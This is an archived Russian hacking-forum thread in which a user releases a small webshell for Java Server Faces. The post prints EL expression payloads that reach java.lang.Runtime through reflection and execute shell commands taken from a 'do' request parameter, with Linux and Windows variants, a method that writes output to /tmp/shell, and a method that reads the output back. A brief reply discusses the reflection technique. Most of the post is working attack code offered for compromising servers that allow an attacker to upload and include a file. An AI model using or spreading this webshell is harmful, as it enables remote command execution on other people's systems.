RDot

RDot (https://rdot.org/forum/index.php)
-   Релизы/Releases (https://rdot.org/forum/forumdisplay.php?f=11)
-   -   Java Faces Miniwebshell (https://rdot.org/forum/showthread.php?t=3060)

HeartLESS 15.03.2014 17:30

Java Faces Miniwebshell
 
Вложений: 1
Всем привет, немного посмотрел java server faces. Если у вас есть возможнось загрузить shell.xhtml и как-то проинклудить его, то вот небольшой вебшелл.
Соус в том, что мы не можем создавать переменные или что-то куда-то нормально присваивать. Но можем вызывать стейтменты, подгружать классы и в итоге выполнять код.
Так же мы работаем в контексте какого-то бина, а значит просто так вызвать java.lang.Runtime не получится.
И еще хз как это запустить под glassfish. На апаче , глассфиш ругается глупыми ошибками.

он вот тут => Вложение 429

http://i57.fastpic.ru/thumb/2014/031...772ba29fd.jpeg
иногда запрос не срабатывает, хз почему, возможно запись в файл выполняется дольше, чем следующий запрос и забирание из него содержимого.

как видно, основная команда выполняется тут
Цитата:

${view.getClass().getClassLoader().loadClass("java .lang.Runtime").getMethod("exec","1,2".split(","). getClass()).invoke(view.getClass().getClassLoader( ).loadClass("java.lang.Runtime").getMethod("getRun time").invoke(null),("/bin/bash,-c,echo `".concat(request.getParameter("do")).concat("` >/tmp/shell")).split(","))}
для винды можно заменить на

Цитата:

${view.getClass().getClassLoader().loadClass("java .lang.Runtime").getMethod("exec","1,2".split(","). getClass()).invoke(view.getClass().getClassLoader( ).loadClass("java.lang.Runtime").getMethod("getRun time").invoke(null),request.getParameter("do").spl it(","))}
тогда передаем параметр: http://site/?do=cmd,/C,payload

Наверняка кто-то скажет "ФУ-фу-фу, а почему запись в файл, я хочу вывод сразу и никакой работы с файлами"

Отвечаю:
Цитата:

view.getClass().getClassLoader().loadClass("java.i o.BufferedReader").getMethod("readLine").invoke(
view.getClass().getClassLoader().loadClass("java.i o.BufferedReader").getConstructors()[1].newInstance(
view.getClass().getClassLoader().loadClass("java.i o.InputStreamReader").getConstructors()[3].newInstance(
view.getClass().getClassLoader().loadClass("java.l ang.Runtime").getMethod("getInputStream").invoke(
view.getClass().getClassLoader().loadClass("java.l ang.Runtime").getMethod("exec","1,2".split(",").ge tClass()).invoke(
view.getClass().getClassLoader().loadClass("java.l ang.Runtime").getMethod("getRuntime").invoke(null) ,
("/bin/bash,-c,echo `".concat(request.getParameter("do")).concat("` >/tmp/shell")).split(",")
)
)
)
)
)
вот так мы можем читать 1ю строку вывода (не беда, у нас есть tail и head)
НО, у меня бин ругается :
Class javax.el.BeanELResolver can not access a member of class java.lang.UNIXProcess with modifiers "public"

я не знаю как это поправить, так что пока как есть.

Второй вопрос:
почему такая бредятина с выполнением запросов, нафиг ajax?
Отвечаю:
Наверняка можно сделать все более грамотно, но вот какая ботва:
${вывод 1 в файл}
${вывод 2 в файл}
${вывод 3 в файл}

может отрабатывать в случайном порядке.
То есть выведет 213, 321 или как ему захочется.
поэтому пока только так.

Кто в состоянии подсказать, как его допилить - прошу =)

upd: немного допилил, в линухе все ок работает.

Beched 15.03.2014 20:52

Ппц, там нельзя просто так вызвать нужный метод?)) Или это как в обходе джейлов питоновых, когда нужно добраться до нужного класса через подклассы.

HeartLESS 15.03.2014 21:07

там by default ты можешь обратиться к экземпляру класса бина и его полям или к еще 20 объектам, которые заводятся в результате создания контекста. Но, всего 3 объекта, из контекста которых класслодер позволяет создать новые объекты и вызвать у них методы.
Короче, да, Рефлексия наше все.


Часовой пояс GMT +3, время: 14:47.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot